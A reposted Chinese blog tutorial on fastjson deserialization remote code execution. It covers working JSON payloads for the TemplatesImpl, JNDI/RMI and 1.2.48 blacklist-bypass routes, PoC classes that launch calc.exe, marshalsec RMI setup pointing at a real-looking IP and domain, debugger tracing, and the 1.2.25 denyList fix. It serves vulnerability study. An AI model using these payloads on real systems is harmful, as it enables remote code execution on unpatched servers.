fastjson反序列化漏洞原理及利用


重要漏洞利用poc及版本

我是從github上的參考中直接copyexp,這個類就是要注入的類

import java.lang.Runtime;
import java.lang.Process;

public class Exploit {

    public Exploit() {
        try{
            // 要執行的命令
            String commands = "calc.exe";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }

}
網上經常分析的17年的一個遠程代碼執行漏洞

適用范圍 版本 <= 1.2.24

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}
FastJson最新爆出的繞過方法

適用范圍 版本 <= 1.2.48

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";

預備知識

使用spring boot來搭建本次的環境,這樣對java的版本和fastjson版本的修改十分的輕松,選取的依賴如下

使用的是fastjson 1.2.24版本

寫一個像javabean一樣作用的類

這里直接用參考的一篇freebuf上的代碼了,作用很簡單,設置了ageusername的設置和讀取,secret的讀取

package com.fastjson.demo;

class Demo2User {
    private int age;
    public String username;
    private String secret;
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
    public String getUsername() {
        return username;
    }
    public void setUsername(String username) {
        this.username = username;
    }
    public String getSecret() {
        return secret;
    }
    @Override
    public String toString() {
        return this.age + "," + this.username + "," + this.secret;
    }
}
fastjson的工作形式

fastjson的功能就是將json格式轉換為類、字符串等供下一步代碼的調用,或者將類、字符串等數據轉換成json數據進行傳輸,有點類似序列化的操作

首先介紹下序列化操作和反序列化操作需要的函數

函數 作用
JSON.toJSONString(Object) 將對象序列化成json格式
JSON.toJSONString(Object,SerializerFeature.WriteClassName) 將對象序列化成json格式,並且記錄了對象所屬的類的信息
JSON.parse(Json) json格式返回為對象(但是反序列化類對象沒有@Type時會報錯)
JSON.parseObject(Json) 返回對象是com.alibaba.fastjson.JSONObject
JSON.parseObject(Json, Object.class) 返回對象會根據json中的@Type來決定
JSON.parseObject(Json, User.class, Feature.SupportNonPublicField); 會把Json數據對應的類中的私有成員也給還原

對應測試的例子,代碼如下

public class Demo2test1 {
    public static void main(String[] args){
        Demo2User demo2User = new Demo2User();
        demo2User.setAge(10);
        demo2User.setUsername("sijidou");
        String ser1 = JSON.toJSONString(demo2User);
        System.out.println(ser1);
        String ser2 = JSON.toJSONString(demo2User, SerializerFeature.WriteClassName);
        System.out.println(ser2);
        System.out.println("==========完美的分割線============");
        Demo2User demo2User1 = (Demo2User) JSON.parse(ser2);
        System.out.println(demo2User1);
        Object demo2User2 = JSON.parseObject(ser2);
        System.out.println(demo2User2.getClass().getName());
        Object demo2User3 = JSON.parseObject(ser2, Object.class);
        System.out.println(demo2User3);
        Object demo2User4 = JSON.parseObject(ser2,Object.class, Feature.SupportNonPublicField);
        System.out.println(demo2User4);
    }
}

可以從上面簡單的函數介紹中看出,對於序列化成json格式,用JSON.toJSONString(Object,SerializerFeature.WriteMapNullValue)更加方便

而從json反序列回來,一般用JSON.parseObject()來實現

漏洞利用

對於 fastjson版本 <= 1.2.24的情況,利用思路主要有2種

  • 通過觸發點JSON.parseObject()這個函數,將json中的類設置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl並通過特意構造達到命令執行
  • 通過JNDI注入

利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

TemplatesImpl類,而這個類有一個字段就是_bytecodes,有部分函數會根據這個_bytecodes生成java實例,這就達到fastjson通過字段傳入一個類,再通過這個類被生成時執行構造函數。

首選准備好poc,也就是之后會裝到_bytecodes里面的內容,本地測試是windows系統,所以直接彈計算器,用java運行一下,就會生成poc.class文件

package com.fastjson.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class poc extends AbstractTranslet {

    public poc() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        poc t = new poc();
    }
}

拿到這個文件,將其內容進行base64編碼,我拿vulhub上用php寫的exploit.php改了改

<?php
$bytes = file_get_contents('poc.class');
$json = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["'.base64_encode($bytes).'"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}';
echo $json;

同目錄下運行

准備下接受的代碼,我從vulhub上的fastjson項目進行修改的,使代碼更加簡潔,邏輯很簡單從post的body中的數據進行fastjson的序列化

public class Demo3{
    public void init()
    {
        get("/", (req, res) -> "Hello World");
        post("/", (request, response) -> {
            String data = request.body();
            JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField);
            return "122";
        });
    }

    public static void main(String[] args)
    {
        Demo3 i = new Demo3();
        i.init();
    }
}

運行下能夠成功觸發計算器

漏洞分析

debug跟蹤下堆棧看看發生了什么

最先肯定是傳入點JSON.parseObject(data, Feature.SupportNonPublicField);接口,這個漏洞利用方法必須要存在Feature.SupportNonPublicField設置(即允許private對象傳入)

接下來會到JSON類中,發現JSON.parseObject()其實是調用了JSON.parse()

下一步會進到這個函數里,是對可控長度變量的分析,這里也就是Feature.SupportNonPublicField的開啟識別

調用parse(String text, int features),繼續執行parser.parse()接口

之后進入DeafultJSONParser.java通過switch判斷,進入到LBRACE

繼續跟進會調用deserializer.deserialze(this, clazz, fieldName)

進入了JavaBeanDeserializer.java中,這段主要是進行反序列化操作了

之后會進入到DefaultFieldDeserializer.java中調用setValue來設置參數了

設置參數是會調用FieldDeserializer.java中的setValue,已經可以看到Method方法,標志着這里觸發反射

前面的參數會不滿足if(method != null)的判斷,到outputProperties的時候,因為它是個類,存在method,於是進入if分支

最終到了觸發點,invoke

單步跟蹤2次,是對_bytecodes中的base64,對應的.class文件中的類進行還原,然后觸發構造函數中的代碼執行,觸發計算器

這里單步跟蹤2次時候沒有任何反應,之后發現是沒對com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl類沒進行下載,並且沒有進行下斷點.....

那么在這個點繼續跟進,首先仔細看上面反射調用的方法com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

TemplatesImpl類里面對getOutputProperties()下斷點

繼續跟蹤newTransformer()方法,看名字就是新生成一個Transformer

在第486行調用了getTransletInstance()方法,之后進入getTransletInstance()方法中

因為我們精心構造的exp里面沒有__class成員變量,所以會觸發defineTransletClasses()方法,跟進

進入后是對 _bytecodes字段進行base64解碼后還原這個class,之后就出來回到了getTransletInstance()

可以看到455行的translet被賦值成class.com.fastjson.demo.poc也就是我們構造的的poc類,在456行進行初始化的時候,觸發代碼執行

通過jndi注入

jndi是一個Java命令和目錄接口,舉個例子,通過jndi進行數據庫操作,無需知道它數據庫是mysql還是ssql,還是MongoDB等,它會自動識別。

當然rmi也可以通過jndi實現,rmi的作用相當於在服務器上創建了類的倉庫的api,客戶端只用帶着參數去請求,服務器進行一系列處理后,把運算后的參數還回來。

這里漏洞利用要明確思路:

攻擊者在本地啟一個rmi的服務器,上面掛上惡意的payload

讓被攻擊的目標反序列化特定的類,這個類最終會調用lookup()函數,導致jndi接口指向我們的rmi服務器上的惡意payload

利用方法

在本地掛上惡意代碼執行的類,本地復現到了實際中又因為要公網ip所以要重新部署,所以我這里就直接把惡意的Exprmi服務器都放在vps上了

准備Exp

import java.lang.Runtime;
import java.lang.Process;

public class Exp {

    public Exp() {
        try{
            // 要執行的命令
            String commands = "calc";
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void main(String[] argv) {
        Exp e = new Exp();
    }

}

編譯一下

javac Exp.java

在本地啟動rmi服務器,這里推薦github上的一個項目marshalsec

https://github.com/mbechler/marshalsec

需要用maven進行生成jar包,進入marshalsec目錄后

git clone https://github.com/mbechler/marshalsec.git
cd marshalse
mvn clean package -Dmaven.test.skip=true

之后使用過的是這個包,可以移動到仍意目錄都可以

接下來就是啟動rmi服務器了,這里要做2個步驟

第一使用python的SimpleHTTPServer模塊在剛剛編譯好的Exp.class目錄下開一個web服務

python -m SimpleHTTPServer 8000

訪問下網頁是能看到的

之后利用marshalsec,啟動rmi服務,再開一個shell

 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer  http://mi0.xyz:8000/#Exp

萬事已經准備好了,接下來只要在被攻擊的目標(這里是本機)發送python進JSON.parse()就會觸發

import com.alibaba.fastjson.JSON;

public class poc {
    public static void main(String[] args) throws Exception {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://134.175.147.161:1099/Exp\",\"autoCommit\":true}";
        JSON.parse(payload);
    }
}

成功彈出計算器

之前一直嘗試不成功,改了下jre的版本為1.8_102能夠觸發

1.2.25之后修復方案

在1.2.25之后,在ParserConfig.java中添加了public Class<?> checkAutoType(String typeName, Class<?> expectClass)過濾的函數

注意其中的這一段,如果類的名字開頭在deny名單里面,就直接拋出錯誤了

看看denyList的名單

 private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");    

最新fastjson繞過黑名單REC

  • 此次漏洞危害范圍是fastjson <= 1.2.48

vps上的准備方法和上面講到的jndi注入是一樣的,唯一的區別在於發送的payload不同,以下payload可以繞過黑名單校驗

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";

實現原理是利將JdbcRowSetImpl類加入到mappings的緩存,在JdbcRowSetImpl類進入黑名單過濾之前,fastjson會先看緩存里面有沒有這個類,有的話,就直接返回了。也就是沒有走進黑名單過濾,就結束了check

我們把上面的payload發送到fastjson 1.2.25版本中,走到了checkAutoType()的位置

進入函數,很明顯java.lang.Class不在黑名單內

順利通過

接下來會加載java.lang.Class

跟進之后,在這里把JdbcRowSetImpl類付給了objVal變量

在這里將剛剛objVal的值賦值給了strVal

接下來調用了loadClass

跟進loadClass,首先查看JdbcRowSetImpl類是不是在mappings

這里當然是不在的,因此把JdbcRowSetImpl類加入到該mappings

之后在回到對JdbcRowSetImpl類的檢驗地方了

跟進進入,到這里會根據類名從mapping中取出對象,很明顯,剛剛是把JdbcRowSetImpl類是加入到mappings中的,因此是可以取出來

之后會根據取出的值是否為null進行判斷,通過下圖,已經看到在黑名單前,就返回了

之后可以看到類JdbcRowSetImpl已經過了該限制了

打一波,成功觸發

參考鏈接

https://www.freebuf.com/vuls/178012.html

https://www.cnblogs.com/mrchang/p/6789060.html

https://www.cnblogs.com/hac425/p/9800288.html

https://xz.aliyun.com/t/5680

https://www.jianshu.com/p/2bc43d16a3a6

https://github.com/JoyChou93/java-sec-code/wiki/Fastjson

https://cloud.tencent.com/developer/article/1468779


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM